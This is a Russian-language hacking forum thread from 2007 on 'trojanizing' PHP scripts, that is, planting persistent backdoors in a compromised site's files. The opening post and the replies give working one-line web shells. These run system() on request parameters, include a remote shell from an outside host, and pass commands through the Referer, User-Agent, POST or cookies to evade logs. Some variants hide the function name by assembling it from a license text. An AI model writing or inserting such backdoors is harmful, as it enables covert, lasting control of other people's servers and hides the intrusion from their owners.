PDA

Просмотр полной версии : Троянизация скриптов


Goudini
09.01.2007, 18:29
Троянизация скриптов

В этой статье будут описаны методы троянизациии серверных скриптов, написанных на PHP.

=========
Вариант 1
=========

Началось всё с того что получив шелл на сайте, я захотел как-то закрепиться и добавил в
index.php код такого содержания
<?php system($_GET["cmd"]) ?>
Вскоре полноценный шелл был удалён, остался только указанный выше.
Я попробовал залить полноценный, но оказалось что на серваке нет ни wget, curl, etc....

=========
Вариант 2
=========

Тогда почему же не индклудить шелл каждый раз при загрузке страници
<?php include("http://gaga.phpnet.us/shell.txt"); ?>
Лучше инклудить шелл, только при определенный параметрах. Сделаем более интерактивнее :
<?php if(@$_GET["hack"] == "yes") include($_GET['file']); ?>
При переходе по адресу, указанному ниже мы получим удаллённый шелл
http://[сайт]/index.php?hack=yes&file=[шелл]

=========
Вариант 3
=========

А что если мы протроянили скрипты таким способом, а на сервере allow_url_fopen = Off;
Тогда используем такую конструкцию :
<?php if(ini_get('allow_url_fopen')) include ($_GET["file"]); else system($_GET["cmd"]); ?>
У нас есть и удаленный шелл, и командная строка. Можно ещё проверить разрешены ли функции
exec(), system(), passthru(), но это увеличит размер.
Добавим авторизацию:
<?php if(@$_GET["hack"] == "yes") if(ini_get('allow_url_fopen')) include ($_GET["file"]); else system($_GET["cmd"]); ?>

=========
Вариант 4
=========

В приведенных выше примерах данные передаються через адресную строку браузера.
Чтобы в логах не было видно всех параметров, изменим немного исходники
<?php if(ini_get('allow_url_fopen')) include ($_SERVER["HTTP_REFERER"]); else system($_SERVER["HTTP_REFERER"]); ?>
В реферере, в зависимости от настроек php.ini, будет адрес шелла, или системная команда.

=========
Заключение
=========

Для изменения заголовков на лету можно использовать програму HTTPSubstitute от Zadoxlik'a
http://forum.antichat.ru/thread23569.html
Примеры скрытия Php кода опсаны в статье Great'a
http://forum.antichat.ru/thread28246.html

Gh0s7
09.01.2007, 18:33
> но оказалось что на серваке нет ни wget, curl, etc....
Если у тебя есть право на сокеты, считай, шелл скачал)

Частичный бойан, но оформление красивое)

[ADDED]
Вы добавили слишком много репутации в последние 24 часа. Попробуйте попозже.
ггг

NaX[no]rT
09.01.2007, 19:20
Эх ... почти =)) хотел про другое написать ... лана на вечер оставлю (:

blackybr
09.01.2007, 21:11
Чтобы не удаляли <?php system($_GET["cmd"]) ?> юзай пост.. чтобы не палиться особо в логах
дальше.. можно незаметно включить в серию иф-елсов конструкцию (которая уже присутствует в файлах)...

Либо например добавляем свое.. т.е. у нас при условии поста align=1 Или align=0 в юзер агенте появляется шелл

if ($_POST ['align'] == "1" || $_GET ['align'] == "0") {
$server_get=$_SERVER['HTTP_USER_AGENT'];
@include($server_get);
else
{
die;
}


или опять же сделать чтониб сложное для понимания... накрутить много условий

4xks
21.05.2007, 03:31
угу можно и так но @ ставить для заглушки точно нужно потому как иногда ерроры выскакивают

guest3297
03.06.2007, 15:20
Блин а где еще была тема про троянизацию скритов я помню кто то отписывал как лицинзеонное соглащение в массив загнать потом выдрать нужные символы и исполнить, вообще зря замяли тему.

NaX[no]rT
03.06.2007, 15:38
2cash моно сделать примерно так:

<?
$lic = "abcdefghijklmnopqrstuvwxyz итд.";
$с = (собираешь слово system или eval);
$c ($_POST['cmd']);
?>

и никто не доепется =)

guest3297
03.06.2007, 15:51
мда токо название входящей переменной надо поменять га др. cmd не катит.

NaX[no]rT
03.06.2007, 16:01
Для примера написал

p-range
03.06.2007, 20:03
Блин а где еще была тема про троянизацию скритов я помню кто то отписывал как лицинзеонное соглащение в массив загнать потом выдрать нужные символы и исполнить, вообще зря замяли тему.
http://forum.antichat.ru/thread28246-gnu+gpl.html

+toxa+
03.06.2007, 20:13
Ну вообще имхо самый актуальный способ это
echo `$_REQUEST[m]`;
х3 чё никто не пользуется=\
Данные передавать можно через что угодно: гет, пост, куки - пофик через что. само echo не так бросается в глаза по сравнению с тем же system или passthru. Так же актуален инклуд через кукисы или юзер агент.
Да и вообще не статья, а хрень. Тема уже настолько замусоленная что тошно прям. Ничё нового=\

genom--
03.06.2007, 20:54
лично мое мнение боянище жуткое -- уже стоко про это написано - практически столько же как и про скули

NaX[no]rT
04.06.2007, 02:32
2toxa если на то пошло, то можно просто где-то присобачить <?=`$_POST['v']`?> тоже не броско и красиво =) а еще хорошо бы изменит $v на какую-то переменную из скрипта. Например если xoops, то сделать <?=`$_POST['xxoops']`?>